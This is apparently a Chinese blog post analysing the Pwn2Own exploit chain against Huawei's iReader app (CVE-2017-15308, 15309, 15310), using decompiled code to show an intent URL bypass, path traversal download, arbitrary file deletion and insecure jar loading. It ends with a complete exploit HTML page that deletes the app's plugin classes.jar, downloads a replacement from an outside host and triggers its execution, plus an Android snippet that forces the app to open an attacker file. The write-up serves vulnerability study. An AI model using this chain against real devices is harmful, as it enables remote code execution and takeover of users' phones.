pwn2own华为ireader漏洞原理

0x00背景

在这里插入图片描述

原理挺简单,利用了两个系统应用(应用商店和华为阅读)的逻辑漏洞,主要问题在于

  1. URL Scheme Whitelist Bypass(远程);
  2. native给js提供了多个敏感接口(读写文件);
  3. App从SDCard加载jar并执行(代码执行)

大佬们说这个洞原理比较简单,那就动手分析下。

0x01 漏洞分析

https://www.huawei.com/en/psirt/security-advisories/huawei-sa-20171120-01-hwreader-en
官网报告上说是如下三个洞:我们一个个来分析

华为iReader应用程序有三个安全漏洞。
由于对用于加载网络数据的URL的验证不充分,该应用程序具有输入验证漏洞。攻击者可以控制应用访问并加载攻击者创建的恶意网站,并且可以加载和运行网页中的代码。(漏洞编号:HWPSIRT-2017-11023)

已为此漏洞分配了CVE ID:CVE-2017-15308。

由于文件存储路径上的验证不充分,该应用程序存在路径遍历漏洞。攻击者可以利用此漏洞将下载的恶意文件存储在任意目录中,从而影响系统数据的可用性。(漏洞ID:HWPSIRT-2017-11073)
此漏洞已被分配了CVE ID:CVE-2017-15309。

由于缺少输入验证,该应用程序具有任意文件删除漏洞。攻击者可以利用此漏洞从SD卡中删除特定文件,从而影响系统数据的可用性。(漏洞ID:HWPSIRT-2017-11074)
此漏洞已被分配了CVE ID:CVE-2017-15310。

一:CVE-2017-15308 输入验证漏洞

漏洞代码如下: 获取输入参数并使用webview加载传过来的特定网页

protected void onCreate(Bundle arg4) {  
        super.onCreate(arg4);
        Request request = this.getProtocol().getRequest();  // this.delegate.a();
        this.mWebvewDelegate = this.createDelegate(request);  // webViewDelegate 初始化为具体的类
        if(this.mWebvewDelegate == null) {
            a.e(WebViewActivity.TAG, "mWebvewDelegate is null,uri=" + this.mDelegateUri);
        }
        else {
            String url = request.getUrl();  // 获取到第二个参数url
            if(!g.isEmpty(url)) {
                if(!this.mWebvewDelegate.check(((Context)this), request)) {  
                    this.finish();
                }
                else {
                    this.mWebvewDelegate.onCreate(((Context)this), request);
                    this.setContentView();
                    this.mWebvewDelegate.initView(((Context)this), request);//我是彩蛋
                    this.mWebvewDelegate.loadPage(url);  // 加载url
                }
            }
        }
    }

构造代码启动华为ireader并打开指定的网站

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        Log.d("IntentResolver","intent finished");
        /*        Intent intent = new Intent("android.provider.Telephony.SMS_RECEIVED");
        intent.addFlags(Intent.FLAG_DEBUG_LOG_RESOLUTION);
        sendBroadcast(intent);*/
        String pkg = "com.huawei.hwireader";
        String  uri = "android-app://http/www.google.co.uk/#Intent;component=com.huawei.hwireader/com.zhangyue.iReader.online.ui.ActivityWeb;action=com.huawei.hwireader.SHOW_DETAIL;S.url=file:///sdcard/exploit3.html;end";
        launchApp(pkg,uri);
    }
    public void launchApp(String pkgName, String uri) {
        URISyntaxException excrpt;
        Intent intent;
        Intent newIntent = new Intent();
        try {
            intent = Intent.parseUri(uri, 0);//关键点
        }
        catch(URISyntaxException v0) {
            URISyntaxException v5 = v0;
            intent = newIntent;
            excrpt = v5;
        }
        intent.setPackage(pkgName);
        startActivity(intent);//最终启动activity,这里我们可以控制Intent
        Log.d("test","start activity");
    }

file域里打开html文件file:///sdcard/a.html

这样我们就完成了使用intent使华为ireader APP加载特定网站的功能。

二:CVE-2017-15309 任意文件下载/文件目录遍历

快速浏览遍历@JavascriptInterface注解的方法,其中do_command(String cmd)自然引起注意。

@JavascriptInterface public void do_command(String cmd) {
    BookHighLight bookHignLight;
    String url;
    Activity mActivity;
    Context mContext;
    Activity currActivity;
    LOG.E("dalongTest", "---------------------------do_command--------------------------");
    if(this.mAbsDowloadWebView == null || !(this.mAbsDowloadWebView.getContext() instanceof Activity)) {
        currActivity = APP.getCurrActivity();
    }
    else {
        Context context_2 = this.mAbsDowloadWebView.getContext();
    }

    if((((Context)currActivity)) == null || currActivity.getParent() == null) {
        mContext = ((Context)currActivity);
    }
    else {
        mActivity = currActivity.getParent();
    }

    try {
        Object obj = new JSONTokener(cmd).nextValue();  // 命令内容参数
        String action = ((JSONObject)obj).getString("Action");  // 获取执行命令动作
        LOG.I("js", "actionName:" + action);            
        ...
        JSONObject data = ((JSONObject)obj).getJSONObject("Data");  // 获取命令内容
        ...
        if(action.equalsIgnoreCase("download")) {
            JSProtocol.mJSBookProtocol.download(data, false, false); //下载漏洞疑点
            return;
        }

         ...

        if(action.equalsIgnoreCase("chapPackDownload")) {
                JSProtocol.mJSBookProtocol.onChapPack(data);//删除漏洞疑点
                return;
        }


        if(action.equalsIgnoreCase("onlineReader")) {
            JSProtocol.mJSBookProtocol.online(data); //下载漏洞疑点
            return;
        }

        if(action.equalsIgnoreCase("readNow")) {
            JSProtocol.mJSBookProtocol.readNow(data);
            return;
        }

        ...
    }
    catch(Exception v2_2) {
        LOG.E("js", "do_command error");
    }
}

由于此方法中可执行的命令是非常多的,因此要进行代码审计,这里我认为的一个方式应该是在熟悉Android的一些漏洞,如任意文件下载/替换、任意目录遍历等等的漏洞原理,接着在审计代码的时候,可以快速地切入到可能存在漏洞点的代码进行分析。

这里的调用链路是online()–>download()–>originalDownload()

public void originalDownload(JSONObject jsonObj, boolean isCarToonParam2, boolean flag_2) {
    downloadInfo = jsonObj.getJSONObject("DownloadInfo");
    ...
    FrmAuth = downloadInfo.optBoolean("getDrmAuth", true);
    fileName = PATH.getBookDir() + downloadInfo.getString("FileName");  // 直接获取json传过来的数据
    fileId = downloadInfo.getInt("FileId");
    dowloadUrl = downloadInfo.getString("DownloadUrl");  // 可控制的下载地址
     ...
    if(isCarToonParam2) {  // 这里必须为true,否则fileName会被覆盖掉
    d v3_2 = DBAdapter.getInstance().queryBookID(fileId);
    if(v3_2 != null) {
        int[] v1_3 = CartoonTool.getReadPaint(v3_2.j);
        CartoonTool.openCartoon(fileId, v1_3[0], v1_3[1]);
        return;
        }
    }
    else {
        fileName = charging.optString("FeeType");//进入该分支,filename被覆盖
        genreId = downloadInfo.optInt("FeeUnit");
        if(!fileName.equals("0") && genreId == 10) {
            CartoonHelper.setWholeBookPayed(true);
        }
    }
}

可以看到,第二个参数传进来必须为True,才能避免fileName被覆盖,这也是为什么利用online函数而不利用download函数的原因.当然,我们在代码审计的时候肯定是先切入到download函数,分析完后再去寻找是否有符合利用条件的调用接口,很幸运地是,这里的online函数调用的第二个参数即为True.

三:CVE-2017-15310 任意文件删除漏洞

在JavaActionScript类中,还有Action为chapPackDownload存在漏洞。

public boolean onChapPack(JSONObject jsonObj) {
    boolean v0_2;
    try {
        int v3 = jsonObj.getInt("StartIndex");
        int v4 = jsonObj.getInt("EndIndex");
        String v2 = jsonObj.getString("Price");
        int v1 = jsonObj.getInt("BookId");
        String v5 = jsonObj.getString("PayURL");
        String v0_1 = jsonObj.getString("DownloadURL");
        String fileName = PATH.getBookDir() + jsonObj.getString("FileName");
        if((FILE.isExist(PATH.getBookNameCheckOpenFail(fileName))) && Device.getNetType() != -1) {
            FILE.delete(PATH.getBookCachePathNamePostfix(fileName));
            FILE.delete(fileName);//没有进行名字校验,直接进行删除
        }

        x.i().a(v1, v2, v3, v4, v5, ManagerFileInternal.getInstance().appendInternalBookParam(v0_1, v1), fileName);
        v0_2 = true;
    }
    catch(Exception v0) {
        v0.printStackTrace();
        v0_2 = false;
    }

    return v0_2;
}

分析上面的代码可知,实际上FileName我们可以控制,只要满足PATH.getBookNameCheckOpenFail(fileName)该函数路径存在即可。

public static String getBookNameCheckOpenFail(String arg2) {
        return PATH.getOpenFailDir() + MD5.getMD5(arg2);
        // /sdcard/HWiReader/books/.openfail/md5
        // /sdcard/Android/data/Huawei/HwReader/books/.openfail/md5
    }
public static String getOpenFailDir() {
        return PATH.getWorkDir() + "/books/.openfail/";
    }
public static String getWorkDir() {
        return SDCARD.getStorageDir() + PATH.HW_ROOT_DIR;
        /*
        PATH.PRI_HW_ROOT_DIR = "HWiReader";
        PATH.HW_ROOT_DIR_ABOVE_EMUI6_0 = "Android/data/Huawei/HwReader";
        PATH.HW_ROOT_DIR = PATH.PRI_HW_ROOT_DIR;
        if(Utils.getEMUISDKINT() >= 14) {
            PATH.HW_ROOT_DIR = PATH.HW_ROOT_DIR_ABOVE_EMUI6_0;
        }
        */
    }
public static String getStorageDir() {
        return SDCARD.a();
    }
private static String a() {
        String v0 = "";
        if(!TextUtils.isEmpty(SDCARD.b)) {
            v0 = SDCARD.b;
        }
        else if(SDCARD.hasSdcard()) {
            v0 = Environment.getExternalStorageDirectory().toString();
            SDCARD.b = v0;
        }

        return v0 + "/";
    }

根据以上代码,也即是存在路径/sdcard/HWiReader/books/.openfail/md5(fileName)即可实现删除任意文件。

四:不安全的组件加载

寻找不安全的组件加载漏洞,挖掘思路自然是需要分析应用的目录结构,我们通过查看sdcard和data/沙盒中有关iReader应用的目录,查看是否有加载so/dex/jar等等需要动态加载的组件。

经过分析,我们找到/sdcard/HWiReader/plugins/DFService/classes.jar,接下来自然是全局搜索相关字符串关键词,定位到加载该组件的地方。最终定位为:com.zhangyue.iReader.tools.Util

//bk.p
 protected final ArrayList P() {
    ...
    Object v2 = Util.loadPlug(APP.getAppContext(), v3.getPlugDir("DFService") + "classes.jar", "com.zhangyue.iReader.Plug.Service.DocFeature").newInstance();
    ...        
}

//com.zhangyue.iReader.tools.Util
 public static Class loadPlug(Context arg4, String arg5, String arg6) throws Exception {
     return new DexClassLoader(arg5, arg4.getApplicationInfo().dataDir, null, arg4.getClassLoader()).loadClass(arg6);
}

接下来需要解决两个问题:

加载classes.jar,并且初始化的类怎么去构造?

这个只需查看loadClass(arg6),传进来的参数是什么即可。很显然,这里为com.zhangyue.iReader.Plug.Service.DocFeature

怎么让iReader App去加载这个jar文件?

这一步骤只需往前追溯调用链即可寻找到触发点。 最终的触发点为:下载txt文件。

最后的exploit

<!DOCTYPE html>
<html>
<head>
    <title> exploit iReader stage 3 </title>
</head>
<body>
    <script type="text/javascript">

        // 首先构造任意文件删除攻击连
        function create_hash()
        {
           var  HASH_FILE_ID = '123456';
           var  HASH_URI = 'http://www.tasfa.cn/classes.jar';
           var json ='{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"'+ HASH_FILE_ID +'","FileName":".openfail/5457bea93d0548a4d84357308df45322","FileSize":10000000,"Ebk3DownloadUrl":"' + HASH_URI + '","DownloadUrl":"' + HASH_URI + '","Version":"2"}}}';
           window.ZhangYueJS.do_command(json);
        }

        function delete_file()
        {
           var json = '{"Action":"chapPackDownload","Data":{ "StartIndex": 0, "EndIndex" : 0,"Price" : "0", "BookId" : 0, "PayURL" : 0, "DownloadURL" : "aaa", "FileName" :"../plugins/DFService/classes.jar" } }';
           window.ZhangYueJS.do_command(json);
           download_plugin();

        }

        //下载不安全加载组件classes.jar
        function download_plugin()
        {
             var PLUGIN_URI = "http://www.tasfa.cn/classes.jar";
             var PLUGIN_FILE_ID = '123456';
            var json ='{"Action":"onlineReader","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137.1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1","FileId":"' + PLUGIN_FILE_ID + '","FileName":"../plugins/DFService/classes.jar","FileSize":10000000,"Ebk3DownloadUrl":"' + PLUGIN_URI + '","DownloadUrl":"' + PLUGIN_URI + '","Version":"2"}}}';
            window.ZhangYueJS.do_command(json);
        }

        var TEXT_FILE_ID = "334455";
        var TEXT_FILE_NAME = "../plugins/DFService/test.txt";
        var TEXT_URI = "http://www.tasfa.cn/test.txt";

        //触发组件进行加载
        function download_text()
        {
            var json = '{"Action":"readNow","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137 .1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1" ,"FileId":"' + TEXT_FILE_ID + '","FileName":"' + TEXT_FILE_NAME + '","FileSize":10000000,"Ebk3DownloadUrl":"' + TEXT_URI + '","DownloadUrl":"' + TEXT_URI + '","Version":"2"}}}';
            window.ZhangYueJS.do_command(json);
            setTimeout(trigger_plugin_load,5000);

        }

        //触发payload执行
        function trigger_plugin_load()
        {
            var json = '{"Action":"readNow","Data":{"Charging":{"FeeType":0,"OrderUrl":"http://192.168.137 .1:8001/aaaaa","Price":"0"},"DownloadInfo":{"ChapterId":"1","FeeUnit":10,"Type":"1" ,"FileId":"' + TEXT_FILE_ID + '","FileName":"' + TEXT_FILE_NAME + '","FileSize":10000000,"Ebk3DownloadUrl":"' + TEXT_URI + '","DownloadUrl":"' + TEXT_URI + '","Version":"2"}}}';
            window.ZhangYueJS.do_command(json); 
        }

        function exploit() {
            create_hash();
            delete_file();
            setTimeout(download_text,15000);
        }

        exploit();
    </script>

</body>
</html>

0x04参考:

https://labs.mwrinfosecurity.com/assets/BlogFiles/huawei-mate9pro-pwn2own-write-up-final-2018-04-26.pdf


1
https://www.freebuf.com/articles/terminal/172780.html
2
https://www.freebuf.com/vuls/173921.html
3
https://www.freebuf.com/vuls/175256.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值